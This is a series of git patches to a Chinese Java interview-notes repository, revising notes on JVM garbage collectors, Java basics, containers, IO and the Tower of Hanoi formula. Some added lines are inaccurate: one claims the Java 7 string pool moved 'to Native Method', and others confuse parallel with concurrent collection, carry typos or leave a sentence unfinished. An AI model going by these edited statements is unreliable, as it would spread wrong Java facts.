 以上是 HotSpot 虚拟机中的 7 个垃圾收集器，连线表示垃圾收集器可以配合使用。
 
-- 单线程与并行（多线程）：单线程指的是垃圾收集器只使用一个线程进行收集，而并行使用多个线程。
-- 串行与并发：串行指的是垃圾收集器与用户程序交替执行，这意味着在执行垃圾收集的时候需要停顿用户程序；并发指的是垃圾收集器和用户程序同时执行。除了 CMS 和 G1 之外，其它垃圾收集器都是以串行的方式执行。
+- 单线程与多线程：单线程指的是垃圾收集器只使用一个线程进行收集，而多线程使用多个线程；
+- 串行与并行：串行指的是垃圾收集器与用户程序交替执行，这意味着在执行垃圾收集的时候需要停顿用户程序；并形指的是垃圾收集器和用户程序同时执行。除了 CMS 和 G1 之外，其它垃圾收集器都是以串行的方式执行。
 
 ### 1. Serial 收集器
 
@@ -290,15 +296,15 @@ Serial 翻译为串行，也就是说它以串行的方式执行。
 
 ### 3. Parallel Scavenge 收集器
 
-与 ParNew 一样是并行的多线程收集器。
+与 ParNew 一样是多线程收集器。
 
 其它收集器关注点是尽可能缩短垃圾收集时用户线程的停顿时间，而它的目标是达到一个可控制的吞吐量，它被称为“吞吐量优先”收集器。这里的吞吐量指 CPU 用于运行用户代码的时间占总时间的比值。
 
 停顿时间越短就越适合需要与用户交互的程序，良好的响应速度能提升用户体验。而高吞吐量则可以高效率地利用 CPU 时间，尽快完成程序的运算任务，主要适合在后台运算而不需要太多交互的任务。
 
-提供了两个参数用于精确控制吞吐量，分别是控制最大垃圾收集停顿时间 -XX:MaxGCPauseMillis 参数以及直接设置吞吐量大小的 -XX:GCTimeRatio 参数（值为大于 0 且小于 100 的整数）。缩短停顿时间是以牺牲吞吐量和新生代空间来换取的：新生代空间变小，垃圾回收变得频繁，导致吞吐量下降。
+缩短停顿时间是以牺牲吞吐量和新生代空间来换取的：新生代空间变小，垃圾回收变得频繁，导致吞吐量下降。
 
-还提供了一个参数 -XX:+UseAdaptiveSizePolicy，这是一个开关参数，打开参数后，就不需要手工指定新生代的大小（-Xmn）、Eden 和 Survivor 区的比例（-XX:SurvivorRatio）、晋升老年代对象年龄（-XX:PretenureSizeThreshold）等细节参数了，虚拟机会根据当前系统的运行情况收集性能监控信息，动态调整这些参数以提供最合适的停顿时间或者最大的吞吐量，这种方式称为 GC 自适应的调节策略（GC Ergonomics）。
+可以通过一个开关参数打卡 GC 自适应的调节策略（GC Ergonomics），就不需要手工指定新生代的大小（-Xmn）、Eden 和 Survivor 区的比例、晋升老年代对象年龄等细节参数了。虚拟机会根据当前系统的运行情况收集性能监控信息，动态调整这些参数以提供最合适的停顿时间或者最大的吞吐量，这种方式称为 。
 
 ### 4. Serial Old 收集器
 
@@ -323,8 +329,6 @@ Serial 翻译为串行，也就是说它以串行的方式执行。
 
 CMS（Concurrent Mark Sweep），Mark Sweep 指的是标记 - 清除算法。
 
-特点：并发收集、低停顿。
-
 分为以下四个流程：
 
 - 初始标记：仅仅只是标记一下 GC Roots 能直接关联到的对象，速度很快，需要停顿。
@@ -344,7 +348,7 @@ CMS（Concurrent Mark Sweep），Mark Sweep 指的是标记 - 清除算法。
 
 G1（Garbage-First），它是一款面向服务端应用的垃圾收集器，在多 CPU 和大内存的场景下有很好的性能。HotSpot 开发团队赋予它的使命是未来可以替换掉 CMS 收集器。
 
-Java 堆被分为新生代、老年代和永久代，其它收集器进行收集的范围都是整个新生代或者老年代，而 G1 可以直接对新生代和老年代一起回收。
+堆被分为新生代和老年代，其它收集器进行收集的范围都是整个新生代或者老年代，而 G1 可以直接对新生代和老年代一起回收。
 
 <div align="center"> <img src="../pics//4cf711a8-7ab2-4152-b85c-d5c226733807.png" width="600"/> </div><br>
 
@@ -372,18 +376,6 @@ G1 把堆划分成多个大小相等的独立区域（Region），新生代和
 
 更详细内容请参考：[Getting Started with the G1 Garbage Collector](http://www.oracle.com/webfolder/technetwork/tutorials/obe/java/G1GettingStarted/index.html)
 
-### 8. 比较
-
-| 收集器 | 单线程/并行 | 串行/并发 | 新生代/老年代 | 收集算法 | 目标 | 适用场景 |
-| :---: | :---: | :---: | :---: | :---: | :---: | :---: |
-|  **Serial**  | 单线程 | 串行 | 新生代 | 复制 | 响应速度优先 | 单 CPU 环境下的 Client 模式 |
-|  **Serial Old**  | 单线程 | 串行 | 老年代 | 标记-整理 | 响应速度优先 | 单 CPU 环境下的 Client 模式、CMS 的后备预案 |
-|  **ParNew**  |  并行 |串行 | 新生代 | 复制算法 | 响应速度优先 | 多 CPU 环境时在 Server 模式下与 CMS 配合 |
-|  **Parallel Scavenge**  | 并行 | 串行 | 新生代 | 复制算法 | 吞吐量优先 | 在后台运算而不需要太多交互的任务 |
-|  **Parallel Old**  | 并行 | 串行 | 老年代 | 标记-整理 | 吞吐量优先 | 在后台运算而不需要太多交互的任务 |
-|  **CMS**  | 并行 | 并发 | 老年代 | 标记-清除 | 响应速度优先 | 集中在互联网站或 B/S 系统服务端上的 Java 应用 |
-|  **G1**  | 并行 | 并发 | 新生代 + 老年代 | 标记-整理 + 复制算法 | 响应速度优先 | 面向服务端应用，将来替换 CMS |
-
 ## 内存分配与回收策略
 
 ### 1. Minor GC 和 Full GC
@@ -752,6 +744,7 @@ public class FileSystemClassLoader extends ClassLoader {
 - 周志明. 深入理解 Java 虚拟机 [M]. 机械工业出版社, 2011.
 - [Chapter 2. The Structure of the Java Virtual Machine](https://docs.oracle.com/javase/specs/jvms/se8/html/jvms-2.html#jvms-2.5.4)
 - [Jvm memory](https://www.slideshare.net/benewu/jvm-memory)
+- [JNI Part1: Java Native Interface Introduction and “Hello World” application](http://electrofriends.com/articles/jni/jni-part1-java-native-interface/)
 - [Memory Architecture Of JVM(Runtime Data Areas)](https://hackthejava.wordpress.com/2015/01/09/memory-architecture-by-jvmruntime-data-areas/)
 - [JVM Run-Time Data Areas](https://www.programcreek.com/2013/04/jvm-run-time-data-areas/)
 - [Android on x86: Java Native Interface and the Android Native Development Kit](http://www.drdobbs.com/architecture-and-design/android-on-x86-java-native-interface-and/240166271)
diff --git a/pics/JNI-Java-Native-Interface.jpg b/pics/JNI-Java-Native-Interface.jpg
new file mode 100644
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From cef2ed9ef8e1111f8ce9d71b4a782a8240a15efe Mon Sep 17 00:00:00 2001
From: luocaodan <luocaodan@buaa.edu.cn>
Date: Sat, 4 Aug 2018 23:06:47 +0800
Subject: [PATCH 64/87] =?UTF-8?q?Update=20=E7=AE=97=E6=B3=95.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 notes/算法.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notes/算法.md b/notes/算法.md
index df5a8049..f440111c 100644
--- a/notes/算法.md
+++ b/notes/算法.md
@@ -2050,7 +2050,7 @@ public class SparseVector {
 
 如果只有一个圆盘，那么只需要进行一次移动操作。
 
-从上面的讨论可以知道，n 圆盘需要移动 (n-1)+1+(n-1) = 2n-1 次。
+从上面的讨论可以知道，a<sub>n</sub> = 2 * a<sub>n-1</sub> + 1，显然a<sub>n</sub> = 2<sup>n</sup> - 1，n 圆盘需要移动 2<sup>n</sup> - 1 次。
 
 <div align="center"> <img src="../pics//54f1e052-0596-4b5e-833c-e80d75bf3f9b.png" width="300"/> </div><br>
 

From 288fb85d924314e5dac93ac033ad0a5573c83487 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 5 Aug 2018 15:29:23 +0800
Subject: [PATCH 65/87] auto commit

---
 notes/Java 基础.md                            |  34 ++---
 notes/Java 容器.md                            | 139 +++++++++++++++---
 notes/算法.md                                 |   2 +-
 pics/49495c95-52e5-4c9a-b27b-92cf235ff5ec.png | Bin 0 -> 10240 bytes
 pics/NP4z3i8m38Ntd28NQ4_0KCJ2q044Oez.png      | Bin 0 -> 22528 bytes
 pics/SoWkIImgAStDuUBAp2j9BKfBJ4vLy0G.png      | Bin 0 -> 14336 bytes
 pics/SoWkIImgAStDuUBAp2j9BKfBJ4vLy4q.png      | Bin 0 -> 12288 bytes
 7 files changed, 134 insertions(+), 41 deletions(-)
 create mode 100644 pics/49495c95-52e5-4c9a-b27b-92cf235ff5ec.png
 create mode 100644 pics/NP4z3i8m38Ntd28NQ4_0KCJ2q044Oez.png
 create mode 100644 pics/SoWkIImgAStDuUBAp2j9BKfBJ4vLy0G.png
 create mode 100644 pics/SoWkIImgAStDuUBAp2j9BKfBJ4vLy4q.png

diff --git a/notes/Java 基础.md b/notes/Java 基础.md
index f5133a6f..bcb94acc 100644
--- a/notes/Java 基础.md	
+++ b/notes/Java 基础.md	
@@ -4,7 +4,7 @@
     * [缓存池](#缓存池)
 * [二、String](#二string)
     * [概览](#概览)
-    * [String 不可变的好处](#string-不可变的好处)
+    * [不可变的好处](#不可变的好处)
     * [String, StringBuffer and StringBuilder](#string,-stringbuffer-and-stringbuilder)
     * [String.intern()](#stringintern)
 * [三、运算](#三运算)
@@ -153,7 +153,7 @@ public final class String
     private final char value[];
 ```
 
-## String 不可变的好处
+## 不可变的好处
 
 **1. 可以缓存 hash 值** 
 
@@ -212,7 +212,7 @@ String s5 = "bbb";
 System.out.println(s4 == s5);  // true
 ```
 
-在 Java 7 之前，字符串常量池被放在运行时常量池中，它属于永久代。而在 Java 7，字符串常量池被放在堆中。这是因为永久代的空间有限，在大量使用字符串的场景下会导致 OutOfMemoryError 错误。
+在 Java 7 之前，字符串常量池被放在运行时常量池中，它属于永久代。而在 Java 7，字符串常量池被移到 Native Method 中。这是因为永久代的空间有限，在大量使用字符串的场景下会导致 OutOfMemoryError 错误。
 
 - [StackOverflow : What is String interning?](https://stackoverflow.com/questions/10578984/what-is-string-interning) 
 - [深入解析 String#intern](https://tech.meituan.com/in_depth_understanding_string_intern.html)
@@ -583,19 +583,7 @@ protected void finalize() throws Throwable {}
 
 ## equals()
 
-**1. equals() 与 == 的区别** 
-
-- 对于基本类型，== 判断两个值是否相等，基本类型没有 equals() 方法。
-- 对于引用类型，== 判断两个实例是否引用同一个对象，而 equals() 判断引用的对象是否等价，根据引用的对象的 equals() 方法的具体实现来进行比较。
-
-```java
-Integer x = new Integer(1);
-Integer y = new Integer(1);
-System.out.println(x.equals(y)); // true
-System.out.println(x == y);      // false
-```
-
-**2. 等价关系** 
+**1. 等价关系** 
 
 （一）自反性
 
@@ -632,6 +620,18 @@ x.equals(y) == x.equals(y); // true
 x.equals(null); // false;
 ```
 
+**2. equals() 与 ==** 
+
+- 对于基本类型，== 判断两个值是否相等，基本类型没有 equals() 方法。
+- 对于引用类型，== 判断两个实例是否引用同一个对象，而 equals() 判断引用的对象是否等价，根据引用对象 equals() 方法的具体实现来进行比较。
+
+```java
+Integer x = new Integer(1);
+Integer y = new Integer(1);
+System.out.println(x.equals(y)); // true
+System.out.println(x == y);      // false
+```
+
 **3. 实现** 
 
 - 检查是否为同一个对象的引用，如果是直接返回 true；
@@ -1005,7 +1005,7 @@ public class A {
 
 **4. 静态内部类** 
 
-非静态内部类依赖于需要外部类的实例，而静态内部类不需要。
+非静态内部类依赖于外部类的实例，而静态内部类不需要。
 
 ```java
 public class OuterClass {
diff --git a/notes/Java 容器.md b/notes/Java 容器.md
index c6fc88f4..27a783f1 100644
--- a/notes/Java 容器.md	
+++ b/notes/Java 容器.md	
@@ -14,6 +14,7 @@
     * [ConcurrentHashMap](#concurrenthashmap)
     * [LinkedHashMap](#linkedhashmap)
     * [WeekHashMap](#weekhashmap)
+* [附录](#附录)
 * [参考资料](#参考资料)
 <!-- GFM-TOC -->
 
@@ -24,15 +25,15 @@
 
 ## Collection
 
-<div align="center"> <img src="../pics//java-collections.png"/> </div><br>
+<div align="center"> <img src="../pics//NP4z3i8m38Ntd28NQ4_0KCJ2q044Oez.png"/> </div><br>
 
 ### 1. Set
 
-- HashSet：基于哈希实现，支持快速查找，但不支持有序性操作，例如根据一个范围查找元素的操作。并且失去了元素的插入顺序信息，也就是说使用 Iterator 遍历 HashSet 得到的结果是不确定的。
+- HashSet：基于哈希表实现，支持快速查找。但不支持有序性操作，例如根据一个范围查找元素的操作。并且失去了元素的插入顺序信息，也就是说使用 Iterator 遍历 HashSet 得到的结果是不确定的。
 
 - TreeSet：基于红黑树实现，支持有序性操作，但是查找效率不如 HashSet，HashSet 查找时间复杂度为 O(1)，TreeSet 则为 O(logN)。
 
-- LinkedHashSet：具有 HashSet 的查找效率，且内部使用链表维护元素的插入顺序。
+- LinkedHashSet：具有 HashSet 的查找效率，且内部使用双向链表维护元素的插入顺序。
 
 ### 2. List
 
@@ -50,13 +51,13 @@
 
 ## Map
 
-<div align="center"> <img src="../pics//java-collections1.png"/> </div><br>
+<div align="center"> <img src="../pics//SoWkIImgAStDuUBAp2j9BKfBJ4vLy4q.png"/> </div><br>
 
-- HashMap：基于哈希实现；
+- HashMap：基于哈希表实现；
 
 - HashTable：和 HashMap 类似，但它是线程安全的，这意味着同一时刻多个线程可以同时写入 HashTable 并且不会导致数据不一致。它是遗留类，不应该去使用它。现在可以使用 ConcurrentHashMap 来支持线程安全，并且 ConcurrentHashMap 的效率会更高，因为 ConcurrentHashMap 引入了分段锁。
 
-- LinkedHashMap：使用链表来维护元素的顺序，顺序为插入顺序或者最近最少使用（LRU）顺序。
+- LinkedHashMap：使用双向链表来维护元素的顺序，顺序为插入顺序或者最近最少使用（LRU）顺序。
 
 - TreeMap：基于红黑树实现。
 
@@ -64,7 +65,7 @@
 
 ## 迭代器模式
 
-<div align="center"> <img src="../pics//Iterator-1.jpg"/> </div><br>
+<div align="center"> <img src="../pics//SoWkIImgAStDuUBAp2j9BKfBJ4vLy0G.png"/> </div><br>
 
 Collection 实现了 Iterable 接口，其中的 iterator() 方法能够产生一个 Iterator 对象，通过这个对象就可以迭代遍历 Collection 中的元素。
 
@@ -95,7 +96,7 @@ Integer[] arr = {1, 2, 3};
 List list = Arrays.asList(arr);
 ```
 
-也可以使用以下方式使用 asList()：
+也可以使用以下方式调用 asList()：
 
 ```java
 List list = Arrays.asList(1,2,3);
@@ -111,7 +112,7 @@ List list = Arrays.asList(1,2,3);
 
 ### 1. 概览
 
-实现了 RandomAccess 接口，因此支持随机访问，这是理所当然的，因为 ArrayList 是基于数组实现的。
+实现了 RandomAccess 接口，因此支持随机访问。这是理所当然的，因为 ArrayList 是基于数组实现的。
 
 ```java
 public class ArrayList<E> extends AbstractList<E>
@@ -126,7 +127,9 @@ private static final int DEFAULT_CAPACITY = 10;
 
 ### 2. 序列化
 
-基于数组实现，保存元素的数组使用 transient 修饰，该关键字声明数组默认不会被序列化。ArrayList 具有动态扩容特性，因此保存元素的数组不一定都会被使用，那么就没必要全部进行序列化。ArrayList 重写了 writeObject() 和 readObject() 来控制只序列化数组中有元素填充那部分内容。
+ArrayList 基于数组实现，并且具有动态扩容特性，因此保存元素的数组不一定都会被使用，那么就没必要全部进行序列化。
+
+保存元素的数组 elementData 使用 transient 修饰，该关键字声明数组默认不会被序列化。ArrayList 重写了 writeObject() 和 readObject() 来控制只序列化数组中有元素填充那部分内容。
 
 ```java
 transient Object[] elementData; // non-private to simplify nested class access
@@ -174,7 +177,7 @@ private void grow(int minCapacity) {
 
 ### 4. 删除元素
 
-需要调用 System.arraycopy() 将 index+1 后面的元素都复制到 index 位置上。
+需要调用 System.arraycopy() 将 index+1 后面的元素都复制到 index 位置上，该操作的时间复杂度为 O(N)，可以看出 ArrayList 删除元素的代价是非常高的。
 
 ```java
 public E remove(int index) {
@@ -311,7 +314,7 @@ CopyOnWriteArrayList 在写操作的同时允许读操作，大大提高了读
 
 ### 1. 概览
 
-基于双向链表实现，内部使用 Node 来存储链表节点信息。
+基于双向链表实现，使用 Node 存储链表节点信息。
 
 ```java
 private static class Node<E> {
@@ -328,7 +331,7 @@ transient Node<E> first;
 transient Node<E> last;
 ```
 
-<div align="center"> <img src="../pics//5158bc2f-83a6-4351-817e-c9b07f955d76.png"/> </div><br>
+<div align="center"> <img src="../pics//49495c95-52e5-4c9a-b27b-92cf235ff5ec.png"/> </div><br>
 
 ### 2. ArrayList 与 LinkedList
 
@@ -474,7 +477,7 @@ public V put(K key, V value) {
 }
 ```
 
-HashMap 允许插入键为 null 的键值对。因为无法调用 null 的 hashCode()，也就无法确定该键值对的桶下标，只能通过强制指定一个桶下标来存放。HashMap 使用第 0 个桶存放键为 null 的键值对。
+HashMap 允许插入键为 null 的键值对。但是因为无法调用 null 的 hashCode() 方法，也就无法确定该键值对的桶下标，只能通过强制指定一个桶下标来存放。HashMap 使用第 0 个桶存放键为 null 的键值对。
 
 ```java
 private V putForNullKey(V value) {
@@ -601,10 +604,10 @@ static int indexFor(int h, int length) {
 
 | 参数 | 含义 |
 | :--: | :-- |
-| capacity | table 的容量大小，默认为 16，需要注意的是 capacity 必须保证为 2 的 n 次方。|
+| capacity | table 的容量大小，默认为 16。需要注意的是 capacity 必须保证为 2 的 n 次方。|
 | size | table 的实际使用量。 |
 | threshold | size 的临界值，size 必须小于 threshold，如果大于等于，就必须进行扩容操作。 |
-| load_factor | 装载因子，table 能够使用的比例，threshold = capacity * load_factor。|
+| loadFactor | 装载因子，table 能够使用的比例，threshold = capacity * loadFactor。|
 
 ```java
 static final int DEFAULT_INITIAL_CAPACITY = 16;
@@ -851,7 +854,7 @@ public int size() {
 
 ### 3. JDK 1.8 的改动
 
-JDK 1.7 使用分段锁机制来实现并发更新操作，核心类为 Segment，它继承自重入锁 ReentrantLock，并发程度与 Segment 数量相等。
+JDK 1.7 使用分段锁机制来实现并发更新操作，核心类为 Segment，它继承自重入锁 ReentrantLock，并发度与 Segment 数量相等。
 
 JDK 1.8 使用了 CAS 操作来支持更高的并发度，在 CAS 操作失败时使用内置锁 synchronized。
 
@@ -867,7 +870,7 @@ JDK 1.8 使用了 CAS 操作来支持更高的并发度，在 CAS 操作失败
 public class LinkedHashMap<K,V> extends HashMap<K,V> implements Map<K,V>
 ```
 
-内存维护了一个双向循环链表，用来维护插入顺序或者 LRU 顺序。
+内存维护了一个双向链表，用来维护插入顺序或者 LRU 顺序。
 
 ```java
 /**
@@ -881,13 +884,13 @@ transient LinkedHashMap.Entry<K,V> head;
 transient LinkedHashMap.Entry<K,V> tail;
 ```
 
-顺序使用 accessOrder 来决定，默认为 false，此时使用的是插入顺序。
+accessOrder 决定了顺序，默认为 false，此时使用的是插入顺序。
 
 ```java
 final boolean accessOrder;
 ```
 
-LinkedHashMap 最重要的是以下用于记录顺序的函数，它们会在 put、get 等方法中调用。
+LinkedHashMap 最重要的是以下用于维护顺序的函数，它们会在 put、get 等方法中调用。
 
 ```java
 void afterNodeAccess(Node<K,V> p) { }
@@ -896,7 +899,7 @@ void afterNodeInsertion(boolean evict) { }
 
 ### afterNodeAccess()
 
-当一个 Node 被访问时，如果 accessOrder 为 true，会将它移到链表尾部。也就是说指定为 LRU 顺序之后，在每次访问一个节点时，会将这个节点移到链表尾部，保证链表尾部是最近访问的节点，那么链表首部就是最近最久未使用的节点。
+当一个节点被访问时，如果 accessOrder 为 true，则会将 该节点移到链表尾部。也就是说指定为 LRU 顺序之后，在每次访问一个节点时，会将这个节点移到链表尾部，保证链表尾部是最近访问的节点，那么链表首部就是最近最久未使用的节点。
 
 ```java
 void afterNodeAccess(Node<K,V> e) { // move node to last
@@ -951,7 +954,11 @@ protected boolean removeEldestEntry(Map.Entry<K,V> eldest) {
 
 ### LRU 缓存
 
-以下是使用 LinkedHashMap 实现的一个 LRU 缓存，设定最大缓存空间 MAX_ENTRIES  为 3。使用 LinkedHashMap 的构造函数将 accessOrder 设置为 true，开启 LUR 顺序。覆盖 removeEldestEntry() 方法实现，在节点多于 MAX_ENTRIES 就会将最近最久未使用的数据移除。
+以下是使用 LinkedHashMap 实现的一个 LRU 缓存：
+
+- 设定最大缓存空间 MAX_ENTRIES  为 3；
+- 使用 LinkedHashMap 的构造函数将 accessOrder 设置为 true，开启 LUR 顺序；
+- 覆盖 removeEldestEntry() 方法实现，在节点多于 MAX_ENTRIES 就会将最近最久未使用的数据移除。
 
 ```java
 class LRUCache<K, V> extends LinkedHashMap<K, V> {
@@ -1002,7 +1009,9 @@ Tomcat 中的 ConcurrentCache 就使用了 WeakHashMap 来实现缓存功能。
 ConcurrentCache 采取的是分代缓存：
 
 - 经常使用的对象放入 eden 中，eden 使用 ConcurrentHashMap 实现，不用担心会被回收（伊甸园）；
-- 不常用的对象放入 longterm，longterm 使用 WeakHashMap 实现，用来存放比较老的对象，这些老对象会被垃圾收集器回收。
+- 不常用的对象放入 longterm，longterm 使用 WeakHashMap 实现，这些老对象会被垃圾收集器回收。
+- 当调用  get() 方法时，会先从 eden 区获取，如果没有找到的话再到 longterm 获取，当从 longterm 获取到就把对象放入 eden 中，保证频繁被访问的节点不容易被回收。
+- 当调用 put() 方法时，如果缓存当前容量大小超过了 size，那么就将 eden 中的所有对象都放入 longterm 中，利用虚拟机回收掉一部分不经常使用的对象。
 
 ```java
 public final class ConcurrentCache<K, V> {
@@ -1039,6 +1048,90 @@ public final class ConcurrentCache<K, V> {
 }
 ```
 
+# 附录
+
+Collection 绘图源码：
+
+```
+@startuml
+
+interface Collection
+interface Set
+interface List
+interface Queue
+interface SortSet
+
+class HashSet
+class LinkedHashSet
+class TreeSet
+class ArrayList
+class Vector
+class LinkedList
+class PriorityQueue
+
+
+Collection <|-- Set
+Collection <|-- List
+Collection <|-- Queue
+Set <|-- SortSet
+
+Set <|.. HashSet
+Set <|.. LinkedHashSet
+SortSet <|.. TreeSet
+List <|.. ArrayList
+List <|.. Vector
+List <|.. LinkeList
+Queue <|.. LinkedList
+Queue <|.. PriorityQueue
+
+@enduml
+```
+
+Map 绘图源码
+
+```
+@startuml
+
+interface Map
+interface SortMap
+
+class HashTable
+class LinkedHashMap
+class HashMap
+class TreeMap
+
+Map <|.. HashTable
+Map <|.. LinkedHashMap
+Map <|.. HashMap
+Map <|-- SortMap
+SortMap <|.. TreeMap
+
+@enduml
+```
+
+迭代器类图
+
+```
+@startuml
+
+interface Iterable
+interface Collection
+interface List
+interface Set
+interface Queue
+interface Iterator
+interface ListIterator
+
+Iterable <|-- Collection
+Collection <|.. List
+Collection <|.. Set
+Collection <|-- Queue
+Iterator <-- Iterable
+Iterator <|.. ListIterator
+ListIterator <-- List
+
+@enduml
+```
 
 # 参考资料
 
diff --git a/notes/算法.md b/notes/算法.md
index f440111c..fb878742 100644
--- a/notes/算法.md
+++ b/notes/算法.md
@@ -2050,7 +2050,7 @@ public class SparseVector {
 
 如果只有一个圆盘，那么只需要进行一次移动操作。
 
-从上面的讨论可以知道，a<sub>n</sub> = 2 * a<sub>n-1</sub> + 1，显然a<sub>n</sub> = 2<sup>n</sup> - 1，n 圆盘需要移动 2<sup>n</sup> - 1 次。
+从上面的讨论可以知道，a<sub>n</sub> = 2 * a<sub>n-1</sub> + 1，显然 a<sub>n</sub> = 2<sup>n</sup> - 1，n 个圆盘需要移动 2<sup>n</sup> - 1 次。
 
 <div align="center"> <img src="../pics//54f1e052-0596-4b5e-833c-e80d75bf3f9b.png" width="300"/> </div><br>
 
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literal 0
HcmV?d00001


From cc5277542918f37e8cf415c9952b6bd71a3cf93d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E9=83=91=E6=B0=B8=E5=B7=9D?= <1029579233@qq.com>
Date: Sun, 5 Aug 2018 15:30:38 +0800
Subject: [PATCH 66/87] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 39b43f30..9bdb297b 100644
--- a/README.md
+++ b/README.md
@@ -89,7 +89,7 @@ Leetcode 上数据库题目的解题记录。
 
 > [Java 容器](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20容器.md)
 
-源码分析：ArrayListVector、CopyOnWriteArrayList、LinkedList、HashMap、ConcurrentHashMap、LinkedHashMap、WeekHashMap。
+源码分析：ArrayList、Vector、CopyOnWriteArrayList、LinkedList、HashMap、ConcurrentHashMap、LinkedHashMap、WeekHashMap。
 
 > [Java 并发](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20并发.md)
 

From eace8369dd11d548c5a57491bbeee4d439ef18bb Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 5 Aug 2018 16:35:58 +0800
Subject: [PATCH 67/87] auto commit

---
 notes/Java IO.md | 123 ++++++++++++++++++++++++++++++-----------------
 1 file changed, 80 insertions(+), 43 deletions(-)

diff --git a/notes/Java IO.md b/notes/Java IO.md
index 08dc80f4..d93ff47c 100644
--- a/notes/Java IO.md	
+++ b/notes/Java IO.md	
@@ -40,8 +40,7 @@ File 类可以用于表示文件和目录的信息，但是它不表示文件的
 递归地输出一个目录下所有文件：
 
 ```java
-public static void listAllFiles(File dir)
-{
+public static void listAllFiles(File dir) {
     if (dir == null || !dir.exists()) {
         return;
     }
@@ -60,8 +59,7 @@ public static void listAllFiles(File dir)
 使用字节流操作进行文件复制：
 
 ```java
-public static void copyFile(String src, String dist) throws IOException
-{
+public static void copyFile(String src, String dist) throws IOException {
     FileInputStream in = new FileInputStream(src);
     FileOutputStream out = new FileOutputStream(dist);
     byte[] buffer = new byte[20 * 1024];
@@ -78,7 +76,11 @@ public static void copyFile(String src, String dist) throws IOException
 
 <div align="center"> <img src="../pics//DP-Decorator-java.io.png" width="500"/> </div><br>
 
-Java I/O 使用了装饰者模式来实现。以 InputStream 为例，InputStream 是抽象组件，FileInputStream 是 InputStream 的子类，属于具体组件，提供了字节流的输入操作。FilterInputStream 属于抽象装饰者，装饰者用于装饰组件，为组件提供额外的功能，例如 BufferedInputStream 为 FileInputStream 提供缓存的功能。
+Java I/O 使用了装饰者模式来实现。以 InputStream 为例，
+
+- InputStream 是抽象组件；
+- FileInputStream 是 InputStream 的子类，属于具体组件，提供了字节流的输入操作；
+- FilterInputStream 属于抽象装饰者，装饰者用于装饰组件，为组件提供额外的功能，例如 BufferedInputStream 为 FileInputStream 提供缓存的功能。
 
 实例化一个具有缓存功能的字节流对象时，只需要在 FileInputStream 对象上再套一层 BufferedInputStream 对象即可。
 
@@ -99,8 +101,7 @@ DataInputStream 装饰者提供了对更多数据类型进行输入的操作，
 逐行输出文本文件的内容：
 
 ```java
-public static void readFileContent(String filePath) throws IOException
-{
+public static void readFileContent(String filePath) throws IOException {
     FileReader fileReader = new FileReader(filePath);
     BufferedReader bufferedReader = new BufferedReader(fileReader);
     String line;
@@ -126,7 +127,7 @@ UTF-16be 中的 be 指的是 Big Endian，也就是大端。相应地也有 UTF-
 
 Java 使用双字节编码 UTF-16be，这不是指 Java 只支持这一种编码方式，而是说 char 这种类型使用 UTF-16be 进行编码。char 类型占 16 位，也就是两个字节，Java 使用这种双字节编码是为了让一个中文或者一个英文都能使用一个 char 来存储。
 
-String 可以看成一个字符序列，可以指定一个编码方式将它转换为字节序列，也可以指定一个编码方式将一个字节序列转换为 String。
+String 可以看成一个字符序列，可以指定一个编码方式将它编码为字节序列，也可以指定一个编码方式将一个字节序列解码为 String。
 
 ```java
 String str1 = "中文";
@@ -151,8 +152,7 @@ byte[] bytes = str1.getBytes();
 序列化的类需要实现 Serializable 接口，它只是一个标准，没有任何方法需要实现，但是如果不去实现它的话而进行序列化，会抛出异常。
 
 ```java
-public static void main(String[] args) throws IOException, ClassNotFoundException
-{
+public static void main(String[] args) throws IOException, ClassNotFoundException {
     A a1 = new A(123, "abc");
     String objectFile = "file/a1";
     ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(objectFile));
@@ -188,7 +188,7 @@ private static class A implements Serializable
 
 transient 关键字可以使一些属性不会被序列化。
 
-**ArrayList 序列化和反序列化的实现** ：ArrayList 中存储数据的数组是用 transient 修饰的，因为这个数组是动态扩展的，并不是所有的空间都被使用，因此就不需要所有的内容都被序列化。通过重写序列化和反序列化方法，使得可以只序列化数组中有内容的那部分数据。
+ArrayList 中存储数据的数组是用 transient 修饰的，因为这个数组是动态扩展的，并不是所有的空间都被使用，因此就不需要所有的内容都被序列化。通过重写序列化和反序列化方法，使得可以只序列化数组中有内容的那部分数据。
 
 ```java
 private transient Object[] elementData;
@@ -205,7 +205,7 @@ Java 中的网络支持：
 
 ## InetAddress
 
-没有公有构造函数，只能通过静态方法来创建实例。
+没有公有的构造函数，只能通过静态方法来创建实例。
 
 ```java
 InetAddress.getByName(String host);
@@ -217,19 +217,24 @@ InetAddress.getByAddress(byte[] address);
 可以直接从 URL 中读取字节流数据。
 
 ```java
-public static void main(String[] args) throws IOException
-{
+public static void main(String[] args) throws IOException {
+
     URL url = new URL("http://www.baidu.com");
-    // 字节流
+
+    /* 字节流 */
     InputStream is = url.openStream();
-    // 字符流
+
+    /* 字符流 */
     InputStreamReader isr = new InputStreamReader(is, "utf-8");
+
+    /* 提供缓存功能 */
     BufferedReader br = new BufferedReader(isr);
-    String line = br.readLine();
-    while (line != null) {
+
+    String line;
+    while ((line = br.readLine()) != null) {
         System.out.println(line);
-        line = br.readLine();
     }
+
     br.close();
 }
 ```
@@ -253,7 +258,7 @@ public static void main(String[] args) throws IOException
 - [Java NIO 浅析](https://tech.meituan.com/nio.html)
 - [IBM: NIO 入门](https://www.ibm.com/developerworks/cn/education/java/j-nio/j-nio.html)
 
-新的输入/输出 (NIO) 库是在 JDK 1.4 中引入的。NIO 弥补了原来的 I/O 的不足，提供了高速的、面向块的 I/O。
+新的输入/输出 (NIO) 库是在 JDK 1.4 中引入的，弥补了原来的 I/O 的不足，提供了高速的、面向块的 I/O。
 
 ## 流与块
 
@@ -271,7 +276,7 @@ I/O 包和 NIO 已经很好地集成了，java.io.\* 已经以 NIO 为基础重
 
 通道 Channel 是对原 I/O 包中的流的模拟，可以通过它读取和写入数据。
 
